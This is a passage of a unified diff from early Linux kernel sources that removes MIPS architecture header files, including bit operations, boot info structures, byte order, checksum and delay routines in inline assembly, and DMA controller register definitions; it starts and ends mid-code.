mask = 1 << (nr & 0x1f); - __save_flags(flags); - __cli(); - retval = (mask & *a) != 0; - *a &= ~mask; - __restore_flags(flags); - - return retval; -} - -extern __inline__ int change_bit(int nr, void * addr) -{ - int mask, retval; - int *a = addr; - __flags; - - a += nr >> 5; - mask = 1 << (nr & 0x1f); - __save_flags(flags); - __cli(); - retval = (mask & *a) != 0; - *a ^= mask; - __restore_flags(flags); - - return retval; -} - -#undef __flags -#undef __cli() -#undef __save_flags(x) -#undef __restore_flags(x) - -#endif /* __mips <= 1 */ - -extern __inline__ int test_bit(int nr, const void *addr) -{ - return 1UL & (((const unsigned int *) addr)[nr >> 5] >> (nr & 31)); -} - -extern __inline__ int find_first_zero_bit (void *addr, unsigned size) -{ - int res; - - if (!size) - return 0; - - __asm__(".set\tnoreorder\n\t" - ".set\tnoat\n" - "1:\tsubu\t$1,%2,%0\n\t" - "blez\t$1,2f\n\t" - "lw\t$1,(%4)\n\t" - "addiu\t%4,%4,4\n\t" - "beql\t%1,$1,1b\n\t" - "addiu\t%0,%0,32\n\t" - "li\t%1,1\n" - "1:\tand\t%4,$1,%1\n\t" - "beq\t$0,%4,2f\n\t" - "sll\t%1,%1,1\n\t" - "bne\t$0,%1,1b\n\t" - "add\t%0,%0,1\n\t" - ".set\tat\n\t" - ".set\treorder\n" - "2:" - : "=r" (res) - : "r" ((unsigned int) 0xffffffff), - "r" (size), - "0" ((signed int) 0), - "r" (addr) - : "$1"); - - return res; -} - -extern __inline__ int find_next_zero_bit (void * addr, int size, int offset) -{ - unsigned long * p = ((unsigned long *) addr) + (offset >> 5); - int set = 0, bit = offset & 31, res; - - if (bit) { - /* - * Look for zero in first byte - */ - __asm__(".set\tnoreorder\n\t" - ".set\tnoat\n" - "1:\tand\t$1,%2,%1\n\t" - "beq\t$0,$1,2f\n\t" - "sll\t%2,%2,1\n\t" - "bne\t$0,%2,1b\n\t" - "addiu\t%0,%0,1\n\t" - ".set\tat\n\t" - ".set\treorder\n" - : "=r" (set) - : "r" (*p >> bit), - "r" (1), - "0" (0) - : "$1"); - if (set < (32 - bit)) - return set + offset; - set = 32 - bit; - p++; - } - /* - * No zero yet, search remaining full bytes for a zero - */ - res = find_first_zero_bit (p, size - 32 * (p - (unsigned long *) addr)); - return (offset + set + res); -} - -/* - * ffz = Find First Zero in word. Undefined if no zero exists, - * so code should check against ~0UL first.. - */ -extern __inline__ unsigned long ffz(unsigned long word) -{ - unsigned int __res; - unsigned int mask = 1; - - __asm__ __volatile__ ( - ".set\tnoreorder\n\t" - ".set\tnoat\n\t" - "move\t%0,$0\n" - "1:\tand\t$1,%2,%1\n\t" - "beqz\t$1,2f\n\t" - "sll\t%1,1\n\t" - "bnez\t%1,1b\n\t" - "addiu\t%0,1\n\t" - ".set\tat\n\t" - ".set\treorder\n" - "2:\n\t" - : "=r" (__res), "=r" (mask) - : "r" (word), "1" (mask) - : "$1"); - - return __res; -} - -#endif /* __ASM_MIPS_BITOPS_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/bootinfo.h linux/include/asm-mips/bootinfo.h --- linux-2.1.29/include/asm-mips/bootinfo.h Thu Dec 14 01:16:53 1995 +++ linux/include/asm-mips/bootinfo.h Wed Dec 31 19:00:00 1969 @@ -1,252 +0,0 @@ -/* - * bootinfo.h -- Definition of the Linux/MIPS boot information structure - * - * Copyright (C) 1994 by Waldorf Electronics - * Written by Ralf Baechle and Andreas Busse - * - * Based on Linux/68k linux/include/linux/bootstrap.h - * Copyright (C) 1992 by Greg Harp - * - * This file is subject to the terms and conditions of the GNU General Public - * License. See the file README.legal in the main directory of this archive - * for more details. - */ -#ifndef __ASM_MIPS_BOOTINFO_H -#define __ASM_MIPS_BOOTINFO_H - -/* - * Valid machtype values - */ -#define MACH_UNKNOWN 0 /* whatever... */ -#define MACH_DESKSTATION_RPC44 1 /* Deskstation rPC44 */ -#define MACH_DESKSTATION_TYNE 2 /* Deskstation Tyne */ -#define MACH_ACER_PICA_61 3 /* Acer PICA-61 (PICA1) */ -#define MACH_MIPS_MAGNUM_4000 4 /* Mips Magnum 4000 "RC4030" */ -#define MACH_OLIVETTI_M700 5 /* Olivetti M700 */ -#define MACH_LAST 5 - -#define MACH_NAMES { "unknown", "Deskstation rPC44", "Deskstation Tyne", \ - "Acer PICA 61", "Mips Magnum 4000", "Olivetti M700" } - -/* - * Valid cputype values - */ -#define CPU_UNKNOWN 0 -#define CPU_R2000 1 -#define CPU_R3000 2 -#define CPU_R3000A 3 -#define CPU_R3041 4 -#define CPU_R3051 5 -#define CPU_R3052 6 -#define CPU_R3081 7 -#define CPU_R3081E 8 -#define CPU_R4000PC 9 -#define CPU_R4000SC 10 -#define CPU_R4000MC 11 -#define CPU_R4200 12 -#define CPU_R4400PC 13 -#define CPU_R4400SC 14 -#define CPU_R4400MC 15 -#define CPU_R4600 16 -#define CPU_R6000 17 -#define CPU_R6000A 18 -#define CPU_R8000 19 -#define CPU_R10000 20 -#define CPU_LAST 20 - -#define CPU_NAMES { "unknown", "R2000", "R3000", "R3000A", "R3041", "R3051", \ - "R3052", "R3081", "R3081E", "R4000PC", "R4000SC", "R4000MC", \ - "R4200", "R4400PC", "R4400SC", "R4400MC", "R4600", "R6000", \ - "R6000A", "R8000", "R10000" } - -#define CL_SIZE (80) - -#ifndef __LANGUAGE_ASSEMBLY__ - -/* - * Some machine parameters passed by MILO. Note that bootinfo - * *must* be in the data segment since the kernel clears the - * bss segment directly after startup. - */ - -struct drive_info_struct { - char dummy[32]; - }; - -struct bootinfo { - /* - * machine type - */ - unsigned long machtype; - - /* - * system CPU & FPU - */ - unsigned long cputype; - - /* - * Installed RAM - */ - unsigned long memlower; - unsigned long memupper; - - /* - * Cache Sizes (0xffffffff = unknown) - */ - unsigned long icache_size; - unsigned long icache_linesize; - unsigned long dcache_size; - unsigned long dcache_linesize; - unsigned long scache_size; - unsigned long scache_linesize; - - /* - * TLB Info - */ - unsigned long tlb_entries; - - /* - * DMA buffer size (Deskstation only) - */ - unsigned long dma_cache_size; - unsigned long dma_cache_base; - - /* - * Ramdisk Info - */ - unsigned long ramdisk_flags; /* ramdisk flags */ - unsigned long ramdisk_base; /* address of the ram disk in mem */ - - /* - * Boot flags for the kernel - */ - unsigned long mount_root_rdonly; - struct drive_info_struct drive_info; - - /* - * Video ram info (not in tty.h) - */ - unsigned long vram_base; /* video ram base address */ - - char command_line[CL_SIZE]; /* kernel command line parameters */ - -}; - -#if 0 -/* - * New style bootinfo - * - * Add new tags only at the end of the enum; *never* remove any tags - * or you'll break compatibility! - */ -enum bi_tag { - /* - * not a real tag - */ - dummy, - - /* - * machine type - */ - machtype, - - /* - * system CPU & FPU - */ - cputype, - - /* - * Installed RAM - */ - memlower, - memupper, - - /* - * Cache Sizes (0xffffffff = unknown) - */ - icache_size, - icache_linesize, - dcache_size, - dcache_linesize, - scache_size, - scache_linesize, - - /* - * TLB Info - */ - tlb_entries, - - /* - * DMA buffer size (Deskstation only) - */ - dma_cache_size, - dma_cache_base, - - /* - * Ramdisk Info - */ - ramdisk_size, /* ramdisk size in 1024 byte blocks */ - ramdisk_base, /* address of the ram disk in mem */ - - /* - * Boot flags for the kernel - */ - mount_root_rdonly, - drive_info, - - /* - * Video ram info (not in tty.h) - */ - vram_base, /* video ram base address */ - - command_line /* kernel command line parameters */ - -}; - -typedef struct { - bi_tag tag; - unsigned long size; -} tag; -#endif - -extern struct bootinfo boot_info; - -/* - * Defaults, may be overwritten by milo. We initialize - * them to make sure that both boot_info and screen_info - * are in the .data segment since the .bss segment is - * cleared during startup. - */ -#define BOOT_INFO { 0,0,0,0, 0,0,0,0, 0,0,0,0, 0,0,0,0, {{0,}}, 0, "" } -#define SCREEN_INFO {0, 0, {0, }, 52, 3, 80, 4626, 3, 9, 50} - -#else /* !__LANGUAGE_ASSEMBLY__ */ - -/* - * Same structure, but as offsets for usage within assembler source. - * Don't mess with struct bootinfo without changing offsets too! - */ - -#define OFFSET_BOOTINFO_MACHTYPE 0 -#define OFFSET_BOOTINFO_CPUTYPE 4 -#define OFFSET_BOOTINFO_MEMLOWER 8 -#define OFFSET_BOOTINFO_MEMUPPER 12 -#define OFFSET_BOOTINFO_ICACHE_SIZE 16 -#define OFFSET_BOOTINFO_ICACHE_LINESIZE 20 -#define OFFSET_BOOTINFO_DCACHE_SIZE 24 -#define OFFSET_BOOTINFO_DCACHE_LINESIZE 28 -#define OFFSET_BOOTINFO_SCACHE_SIZE 32 -#define OFFSET_BOOTINFO_SCACHE_LINESIZE 36 -#define OFFSET_BOOTINFO_TLB_ENTRIES 40 -#define OFFSET_BOOTINFO_DMA_CACHE_SIZE 44 -#define OFFSET_BOOTINFO_DMA_CACHE_BASE 48 -#define OFFSET_BOOTINFO_RAMDISK_SIZE 52 -#define OFFSET_BOOTINFO_RAMDISK_BASE 56 -#define OFFSET_BOOTINFO_MOUNT_RD_ONLY 60 -#define OFFSET_BOOTINFO_DRIVE_INFO 64 -#define OFFSET_BOOTINFO_VRAM_BASE 96 -#define OFFSET_BOOTINFO_COMMAND_LINE 100 - -#endif /* __LANGUAGE_ASSEMBLY__ */ - -#endif /* __ASM_MIPS_BOOTINFO_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/bugs.h linux/include/asm-mips/bugs.h --- linux-2.1.29/include/asm-mips/bugs.h Sun Jan 15 17:54:27 1995 +++ linux/include/asm-mips/bugs.h Wed Dec 31 19:00:00 1969 @@ -1,36 +0,0 @@ -/* - * include/asm-mips/bugs.h - * - * Copyright (C) 1995 Waldorf Electronics - * written by Ralf Baechle - */ -#include - -/* - * This is included by init/main.c to check for architecture-dependent bugs. - * - * Needs: - * void check_bugs(void); - */ - -extern struct bootinfo boot_info; - -static void check_wait(void) -{ - printk("Checking for 'wait' instruction... "); - switch(boot_info.cputype) { - case CPU_R4200: - case CPU_R4600: - wait_available = 1; - printk(" available.\n"); - break; - default: - printk(" unavailable.\n"); - break; - } -} - -static void check_bugs(void) -{ - check_wait(); -} diff -u --recursive --new-file linux-2.1.29/include/asm-mips/byteorder.h linux/include/asm-mips/byteorder.h --- linux-2.1.29/include/asm-mips/byteorder.h Wed Dec 13 05:39:45 1995 +++ linux/include/asm-mips/byteorder.h Wed Dec 31 19:00:00 1969 @@ -1,91 +0,0 @@ -#ifndef __ASM_MIPS_BYTEORDER_H -#define __ASM_MIPS_BYTEORDER_H - -/* - * FIXME: Add big endian support - */ -#undef ntohl -#undef ntohs -#undef htonl -#undef htons - -#if defined (__MIPSEL__) -#define __LITTLE_ENDIAN -#define __LITTLE_ENDIAN_BITFIELD -#elif defined (__MIPSEB__) -#define __BIG_ENDIAN -#define __BIG_ENDIAN_BITFIELD -#else -#error "MIPS but neither __MIPSEL__ nor __MIPSEB__?" -#endif - -extern unsigned long int ntohl(unsigned long int); -extern unsigned short int ntohs(unsigned short int); -extern unsigned long int htonl(unsigned long int); -extern unsigned short int htons(unsigned short int); - -extern __inline__ unsigned long int __ntohl(unsigned long int); -extern __inline__ unsigned short int __ntohs(unsigned short int); -extern __inline__ unsigned long int __constant_ntohl(unsigned long int); -extern __inline__ unsigned short int __constant_ntohs(unsigned short int); - -/* - * The constant and non-constant versions here are the same. - * Maybe I'll come up with an mips-optimized routine for the - * non-constant ones (the constant ones don't need it: gcc - * will optimize it to the correct constant). Oh, and the - * big endian routines that are still missing will be fairly - * easy to write :-) - */ - -extern __inline__ unsigned long int -__ntohl(unsigned long int x) -{ - return (((x & 0x000000ffU) << 24) | - ((x & 0x0000ff00U) << 8) | - ((x & 0x00ff0000U) >> 8) | - ((x & 0xff000000U) >> 24)); -} - -#define __constant_ntohl(x) \ - ((unsigned long int)((((unsigned long int)(x) & 0x000000ffU) << 24) | \ - (((unsigned long int)(x) & 0x0000ff00U) << 8) | \ - (((unsigned long int)(x) & 0x00ff0000U) >> 8) | \ - (((unsigned long int)(x) & 0xff000000U) >> 24))) - -extern __inline__ unsigned short int -__ntohs(unsigned short int x) -{ - return (((x & 0x00ff) << 8) | - ((x & 0xff00) >> 8)); -} - -#define __constant_ntohs(x) \ - ((unsigned short int)((((unsigned short int)(x) & 0x00ff) << 8) | \ - (((unsigned short int)(x) & 0xff00) >> 8))) \ - -#define __htonl(x) __ntohl(x) -#define __htons(x) __ntohs(x) -#define __constant_htonl(x) __constant_ntohl(x) -#define __constant_htons(x) __constant_ntohs(x) - -#ifdef __OPTIMIZE__ -# define ntohl(x) \ -(__builtin_constant_p((long)(x)) ? \ - __constant_ntohl((x)) : \ - __ntohl((x))) -# define ntohs(x) \ -(__builtin_constant_p((short)(x)) ? \ - __constant_ntohs((x)) : \ - __ntohs((x))) -# define htonl(x) \ -(__builtin_constant_p((long)(x)) ? \ - __constant_htonl((x)) : \ - __htonl((x))) -# define htons(x) \ -(__builtin_constant_p((short)(x)) ? \ - __constant_htons((x)) : \ - __htons((x))) -#endif - -#endif /* __ASM_MIPS_BYTEORDER_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/cache.h linux/include/asm-mips/cache.h --- linux-2.1.29/include/asm-mips/cache.h Sat May 10 18:17:18 1997 +++ linux/include/asm-mips/cache.h Wed Dec 31 19:00:00 1969 @@ -1,12 +0,0 @@ -/* - * include/asm-mips/cache.h - */ -#ifndef __ARCH_MIPS_CACHE_H -#define __ARCH_MIPS_CACHE_H - -/* bytes per L1 cache line */ -#define L1_CACHE_BYTES 32 /* a guess */ - -#define L1_CACHE_ALIGN(x) (((x)+(L1_CACHE_BYTES-1))&~(L1_CACHE_BYTES-1)) - -#endif diff -u --recursive --new-file linux-2.1.29/include/asm-mips/cachectl.h linux/include/asm-mips/cachectl.h --- linux-2.1.29/include/asm-mips/cachectl.h Wed Dec 13 05:39:45 1995 +++ linux/include/asm-mips/cachectl.h Wed Dec 31 19:00:00 1969 @@ -1,37 +0,0 @@ -/* - * include/asm-mips/cachectl.h - * - * Written by Ralf Baechle, - * Copyright (C) 1994 by Waldorf GMBH - */ -#ifndef __ASM_MIPS_CACHECTL -#define __ASM_MIPS_CACHECTL - -/* - * cachectl.h -- defines for MIPS cache control system calls - */ - -/* - * Options for cacheflush system call - */ -#define ICACHE (1<<0) /* flush instruction cache */ -#define DCACHE (1<<1) /* writeback and flush data cache */ -#define BCACHE (ICACHE|DCACHE) /* flush both caches */ - -#ifdef __KERNEL__ -#define CACHELINES 512 /* number of cachelines (kludgy) */ - -/* - * Cache Operations - for use by assembler code - */ -#define Index_Invalidate_I 0x00 -#define Index_Writeback_Inv_D 0x01 -#define Index_Load_Tag_D 0x05 - -#ifndef __LANGUAGE_ASSEMBLY__ - -extern int sys_cacheflush(void *addr, int nbytes, int cache); - -#endif /* !__LANGUAGE_ASSEMBLY__ */ -#endif /* __KERNEL__ */ -#endif /* __ASM_MIPS_CACHECTL */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/checksum.h linux/include/asm-mips/checksum.h --- linux-2.1.29/include/asm-mips/checksum.h Sat May 10 18:12:43 1997 +++ linux/include/asm-mips/checksum.h Wed Dec 31 19:00:00 1969 @@ -1,251 +0,0 @@ -/* - * include/asm-mips/checksum.h - * - * This file is subject to the terms and conditions of the GNU General Public - * License. See the file "COPYING" in the main directory of this archive - * for more details. - * - * Copyright (C) 1995 by Ralf Baechle - */ -#ifndef __ASM_MIPS_CHECKSUM_H -#define __ASM_MIPS_CHECKSUM_H - -/* - * computes the checksum of a memory block at buff, length len, - * and adds in "sum" (32-bit) - * - * returns a 32-bit number suitable for feeding into itself - * or csum_tcpudp_magic - * - * this function must be called with even lengths, except - * for the last fragment, which may be odd - * - * it's best to have buff aligned on a 32-bit boundary - */ -unsigned int csum_partial(const unsigned char * buff, int len, unsigned int sum); - -/* - * the same as csum_partial, but copies from src while it - * checksums - * - * here even more important to align src and dst on a 32-bit (or even - * better 64-bit) boundary - */ -unsigned int csum_partial_copy(const char *src, char *dst, int len, int sum); - -/* - * the same as csum_partial, but copies from user space (but on the alpha - * we have just one address space, so this is identical to the above) - */ -#define csum_partial_copy_fromuser csum_partial_copy - -/* - * This is a version of ip_compute_csum() optimized for IP headers, - * which always checksum on 4 octet boundaries. - * - * By Jorge Cwik , adapted for linux by - * Arnt Gulbrandsen. - */ -static inline unsigned short ip_fast_csum(unsigned char * iph, - unsigned int ihl) -{ - unsigned short int sum; - unsigned long dummy1, dummy2; - - /* - * This is optimized for 32-bit MIPS processors. - * I tried it in plain C but the generated code looks to bad to - * use with old first generation MIPS CPUs. - * Using 64-bit code could even further improve these routines. - */ - __asm__(" - .set noreorder - .set noat - lw %0,(%3) - subu %1,4 - blez %1,2f - sll %1,%4,2 # delay slot - lw %2,4(%3) - addu %1,%3 # delay slot - addu %0,%2 - sltu $1,%0,%2 - lw %2,8(%3) - addu %0,$1 - addu %0,%2 - sltu $1,%0,%2 - lw %2,12(%3) - addu %0,$1 - addu %0,%2 - sltu $1,%0,%2 - addu %0,$1 -1: lw %2,16(%3) - addu %1,4 - addu %0,%2 - sltu $1,%0,%2 - bne %1,%3,1b - addu %0,$1 # delay slot - srl $1,%0,16 - addu %0,$1 - sltu $1,%0,$1 - addu %0,$1 - nor %0,$0,%0 - andi %0,0xffff -2: .set at - .set reorder" - : "=r" (sum), "=r" (dummy1), "=r" (dummy2) - : "r" (iph), "r"(ihl) - : "$1"); - - return sum; -} - -/* - * computes the checksum of the TCP/UDP pseudo-header - * returns a 16-bit checksum, already complemented - */ -static inline unsigned short int csum_tcpudp_magic(unsigned long saddr, - unsigned long daddr, - unsigned short len, - unsigned short proto, - unsigned int sum) -{ - __asm__(" - .set noat - addu %0,%2 - sltu $1,%0,%2 - addu %0,$1 - addu %0,%3 - sltu $1,%0,%3 - addu %0,$1 - addu %0,%4 - sltu $1,%0,%4 - addu %0,$1 - srl $1,%0,16 - addu %0,$1 - sltu $1,%0,$1 - addu %0,$1 - nor %0,$0,%0 - andi %0,0xffff - .set at" - : "=r" (sum) - : "0" (daddr), "r"(saddr), "r"((ntohs(len)<<16)+proto*256), "r"(sum) - : "$1"); - - return (unsigned short)sum; -} - -/* - * Fold a partial checksum without adding pseudo headers - */ -static inline unsigned short int csum_fold(unsigned int sum) -{ - __asm__(" - .set noat - srl $1,%0,16 - addu %0,$1 - sltu $1,%0,$1 - nor %0,$0,%0 - andi %0,0xffff - .set at" - : "=r"(sum) - : "0" (sum) - : "$1"); - - return sum; -} - -/* - * this routine is used for miscellaneous IP-like checksums, mainly - * in icmp.c - */ -static inline unsigned short ip_compute_csum(unsigned char * buff, int len) { - unsigned short int sum; - - __asm__(" - .set noat - srl $1,%0,16 - addu %0,$1 - sltu $1,%0,$1 - nor %0,$0,%0 - andi %0,0xffff - .set at" - : "=r"(sum) - : "r" (csum_partial(buff, len, 0)) - : "$1"); - - return sum; -} - -#define _HAVE_ARCH_IPV6_CSUM -static __inline__ unsigned short int csum_ipv6_magic(struct in6_addr *saddr, - struct in6_addr *daddr, - __u16 len, - unsigned short proto, - unsigned int sum) -{ - unsigned long scratch; - - __asm__(" - .set noreorder - .set noat - addu %0,%5 # proto (long in network byte order) - sltu $1,%0,%5 - addu %0,$1 - - addu %0,%6 # csum - sltu $1,%0,%6 - lw %1,0(%2) # four words source address - addu %0,$1 - addu %0,%1 - sltu $1,%0,$1 - - lw %1,4(%2) - addu %0,$1 - addu %0,%1 - sltu $1,%0,$1 - - lw %1,8(%2) - addu %0,$1 - addu %0,%1 - sltu $1,%0,$1 - - lw %1,12(%2) - addu %0,$1 - addu %0,%1 - sltu $1,%0,$1 - - lw %1,0(%3) - addu %0,$1 - addu %0,%1 - sltu $1,%0,$1 - - lw %1,4(%3) - addu %0,$1 - addu %0,%1 - sltu $1,%0,$1 - - lw %1,8(%3) - addu %0,$1 - addu %0,%1 - sltu $1,%0,$1 - - lw %1,12(%3) - addu %0,$1 - addu %0,%1 - sltu $1,%0,$1 - .set noat - .set noreorder - " - : "=r" (sum), - "=r" (scratch) - : "r" (saddr), - "r" (daddr), - "0" (htonl((__u32) (len))), - "r" (htonl(proto)), - "r"(sum) - : "$1"); - - return csum_fold(sum); -} - -#endif /* __ASM_MIPS_CHECKSUM_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/current.h linux/include/asm-mips/current.h --- linux-2.1.29/include/asm-mips/current.h Sat May 10 18:16:58 1997 +++ linux/include/asm-mips/current.h Wed Dec 31 19:00:00 1969 @@ -1,12 +0,0 @@ -#ifndef _MIPS_CURRENT_H -#define _MIPS_CURRENT_H - -/* Some architectures may want to do something "clever" here since - * this is the most frequently accessed piece of data in the entire - * kernel. For an example, see the Sparc implementation where an - * entire register is hard locked to contain the value of current. - */ -extern struct task_struct *current_set[NR_CPUS]; -#define current (current_set[smp_processor_id()]) /* Current on this processor */ - -#endif /* !(_MIPS_CURRENT_H) */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/delay.h linux/include/asm-mips/delay.h --- linux-2.1.29/include/asm-mips/delay.h Fri Apr 12 02:49:44 1996 +++ linux/include/asm-mips/delay.h Wed Dec 31 19:00:00 1969 @@ -1,46 +0,0 @@ -#ifndef __ASM_MIPS_DELAY_H -#define __ASM_MIPS_DELAY_H - -extern __inline__ void __delay(int loops) -{ - __asm__ __volatile__ ( - ".set\tnoreorder\n\t" - ".set\tnoat\n\t" - "1:\tbne\t$0,%0,1b\n\t" - "subu\t%0,%0,1\n\t" - ".set\tat\n\t" - ".set\treorder" - :"=r" (loops) - :"0" (loops)); -} - -/* - * division by multiplication: you don't have to worry about - * loss of precision. - * - * Use only for very small delays ( < 1 msec). Should probably use a - * lookup table, really, as the multiplications take much too long with - * short delays. This is a "reasonable" implementation, though (and the - * first constant multiplications gets optimized away if the delay is - * a constant) - */ -extern __inline__ void udelay(unsigned long usecs) -{ - usecs *= 0x000010c6; /* 2**32 / 1000000 */ - __asm__("multu\t%0,%1\n\t" - "mfhi\t%0" - :"=r" (usecs) - :"0" (usecs),"r" (loops_per_sec)); - __delay(usecs); -} - -/* - * The different variants for 32/64 bit are pure paranoia. The typical - * range of numbers that appears for MIPS machines avoids overflows. - */ -extern __inline__ unsigned long muldiv(unsigned long a, unsigned long b, unsigned long c) -{ - return (a*b)/c; -} - -#endif /* __ASM_MIPS_DELAY_H */ diff -u --recursive --new-file linux-2.1.29/include/asm-mips/dma.h linux/include/asm-mips/dma.h --- linux-2.1.29/include/asm-mips/dma.h Fri Apr 12 02:49:44 1996 +++ linux/include/asm-mips/dma.h Wed Dec 31 19:00:00 1969 @@ -1,284 +0,0 @@ -/* $Id: dma.h,v 1.7 1992/12/14 00:29:34 root Exp root $ - * linux/include/asm/dma.h: Defines for using and allocating dma channels. - * Written by Hennus Bergman, 1992. - * High DMA channel support & info by Hannu Savolainen - * and John Boyd, Nov. 1992. - * - * NOTE: all this is true *only* for ISA/EISA expansions on Mips boards - * and can only be used for expansion cards. Onboard DMA controller, such - * as the R4030 on Jazz boards behave totally different! - */ - -#ifndef __ASM_MIPS_DMA_H -#define __ASM_MIPS_DMA_H - -#include /* need byte IO */ - - -#ifdef HAVE_REALLY_SLOW_DMA_CONTROLLER -#define dma_outb outb_p -#else -#define dma_outb outb -#endif - -#define dma_inb inb - -/* - * NOTES about DMA transfers: - * - * controller 1: channels 0-3, byte operations, ports 00-1F - * controller 2: channels 4-7, word operations, ports C0-DF - * - * - ALL registers are 8 bits only, regardless of transfer size - * - channel 4 is not used - cascades 1 into 2. - * - channels 0-3 are byte - addresses/counts are for physical bytes - * - channels 5-7 are word - addresses/counts are for physical words - * - transfers must not cross physical 64K (0-3) or 128K (5-7) boundaries - * - transfer count loaded to registers is 1 less than actual count - * - controller 2 offsets are all even (2x offsets for controller 1) - * - page registers for 5-7 don't use data bit 0, represent 128K pages - * - page registers for 0-3 use bit 0, represent 64K pages - * - * DMA transfers are limited to the lower 16MB of _physical_ memory. - * Note that addresses loaded into registers must be _physical_ addresses, - * not logical addresses (which may differ if paging is active). - * - * Address mapping for channels 0-3: - * - * A23 ... A16 A15 ... A8 A7 ... A0 (Physical addresses) - * | ... | | ... | | ... | - * | ... | | ... | | ... | - * | ... | | ... | | ... | - * P7 ... P0 A7 ... A0 A7 ... A0 - * | Page | Addr MSB | Addr LSB | (DMA registers) - * - * Address mapping for channels 5-7: - * - * A23 ... A17 A16 A15 ... A9 A8 A7 ... A1 A0 (Physical addresses) - * | ... | \ \ ... \ \ \ ... \ \ - * | ... | \ \ ... \ \ \ ... \ (not used) - * | ... | \ \ ... \ \ \ ... \ - * P7 ... P1 (0) A7 A6 ... A0 A7 A6 ... A0 - * | Page | Addr MSB | Addr LSB | (DMA registers) - * - * Again, channels 5-7 transfer _physical_ words (16 bits), so addresses - * and counts _must_ be word-aligned (the lowest address bit is _ignored_ at - * the hardware level, so odd-byte transfers aren't possible). - * - * Transfer count (_not # bytes_) is limited to 64K, represented as actual - * count - 1 : 64K => 0xFFFF, 1 => 0x0000. Thus, count is always 1 or more, - * and up to 128K bytes may be transferred on channels 5-7 in one operation. - * - */ - -#define MAX_DMA_CHANNELS 8 - -/* - * The maximum address that we can perform a DMA transfer to on this platform - * This describes only the PC style part of the DMA logic like on Deskstations - * or Acer PICA but not the much more versatile DMA logic used for the - * local devices on Acer PICA or Magnums. - */ -#define MAX_DMA_ADDRESS 0x1000000 - -/* 8237 DMA controllers */ -#define IO_DMA1_BASE 0x00 /* 8 bit slave DMA, channels 0..3 */ -#define IO_DMA2_BASE 0xC0 /* 16 bit master DMA, ch 4(=slave input)..7 */ - -/* DMA controller registers */ -#define DMA1_CMD_REG 0x08 /* command register (w) */ -#define DMA1_STAT_REG 0x08 /* status register (r) */ -#define DMA1_REQ_REG 0x09 /* request register (w) */ -#define DMA1_MASK_REG 0x0A /* single-channel mask (w) */ -#define DMA1_MODE_REG 0x0B /* mode register (w) */ -#define DMA1_CLEAR_FF_REG 0x0C /* clear pointer flip-flop (w) */ -#define DMA1_TEMP_REG 0x0D /* Temporary Register (r) */ -#define DMA1_RESET_REG 0x0D /* Master Clear (w) */ -#define DMA1_CLR_MASK_REG 0x0E /* Clear Mask */ -#define DMA1_MASK_ALL_REG 0x0F /* all-channels mask (w) */ - -#define DMA2_CMD_REG 0xD0 /* command register (w) */ -#define DMA2_STAT_REG 0xD0 /* status register (r) */ -#define DMA2_REQ_REG 0xD2 /* request register (w) */ -#define DMA2_MASK_REG 0xD4 /* single-channel mask (w) */ -#define DMA2_MODE_REG 0xD6 /* mode register (w) */ -#define DMA2_CLEAR_FF_REG 0xD8 /* clear pointer flip-flop (w) */ -#define DMA2_TEMP_REG 0xDA /* Temporary Register (r) */ -#define DMA2_RESET_REG 0xDA /* Master Clear (w) */ -#define DMA2_CLR_MASK_REG 0xDC /* Clear Mask */ -#define DMA2_MASK_ALL_REG 0xDE /* all-channels mask (w) */ - -#define DMA_ADDR_0 0x00 /* DMA address registers */ -#define DMA_ADDR_1 0x02 -#define DMA_ADDR_2 0x04 -#define DMA_ADDR_3 0x06 -#define DMA_ADDR_4 0xC0 -#define DMA_ADDR_5 0xC4 -#define DMA_ADDR_6 0xC8 -#define DMA_ADDR_7 0xCC - -#define DMA_CNT_0 0x01 /* DMA count registers */ -#define DMA_CNT_1 0x03 -#define DMA_CNT_2 0x05 -#define DMA_CNT_3 0x07 -#define DMA_CNT_4 0xC2 -#define DMA_CNT_5 0xC6 -#define DMA_CNT_6 0xCA -#define DMA_CNT_7 0xCE - -#define DMA_PAGE_0 0x87 /* DMA page registers */ -#define DMA_PAGE_1 0x83 -#define DMA_PAGE_2 0x81 -#define DMA_PAGE_3 0x82 -#define DMA_PAGE_5 0x8B -#define DMA_PAGE_6 0x89 -#define DMA_PAGE_7 0x8A - -#define DMA_MODE_READ 0x44 /* I/O to memory, no autoinit, increment, single mode */ -#define DMA_MODE_WRITE 0x48 /* memory to I/O, no autoinit, increment, single mode */ -#define DMA_MODE_CASCADE 0xC0 /* pass thru DREQ->HRQ, DACK<-HLDA only */ - -/* enable/disable a specific DMA channel */ -static __inline__ void enable_dma(unsigned int dmanr) -{ - if (dmanr<=3) - dma_outb(dmanr, DMA1_MASK_REG); - else - dma_outb(dmanr & 3, DMA2_MASK_REG); -} - -static __inline__ void disable_dma(unsigned int dmanr) -{ - if (dmanr<=3) - dma_outb(dmanr | 4, DMA1_MASK_REG); - else - dma_outb((dmanr & 3) | 4, DMA2_MASK_REG); -} - -/* Clear the 'DMA Pointer Flip Flop'. - * Write 0 for LSB/MSB, 1 for MSB/LSB access. - * Use this once to initialize the FF to a known state. - * After that, keep track of it. :-) - * --- In order to do that, the DMA routines below should --- - * --- only be used while interrupts are disabled! --- - */ -static __inline__ void clear_dma_ff(unsigned int dmanr) -{ - if (dmanr<=3) - dma_outb(0, DMA1_CLEAR_FF_REG); - else - dma_outb(0, DMA2_CLEAR_FF_REG); -} - -/* set mode (above) for a specific DMA channel */ -static __inline__ void set_dma_mode(unsigned int dmanr, char mode) -{ - if (dmanr<=3) - dma_outb(mode | dmanr, DMA1_MODE_REG); - else - dma_outb(mode | (dmanr&3), DMA2_MODE_REG); -} - -/* Set only the page register bits of the transfer address. - * This is used for successive transfers when we know the contents of - * the lower 16 bits of the DMA current address register, but a 64k boundary - * may have been crossed. - */ -static __inline__ void set_dma_page(unsigned int dmanr, char pagenr) -{ - switch(dmanr) { - case 0: - dma_outb(pagenr, DMA_PAGE_0); - break; - case 1: - dma_outb(pagenr, DMA_PAGE_1); - break; - case 2: - dma_outb(pagenr, DMA_PAGE_2); - break; - case 3: - dma_outb(pagenr, DMA_PAGE_3); - break; - case 5: - dma_outb(pagenr & 0xfe, DMA_PAGE_5); - break; - case 6: - dma_outb(pagenr & 0xfe, DMA_PAGE_6); - break; - case 7: - dma_outb(pagenr & 0xfe, 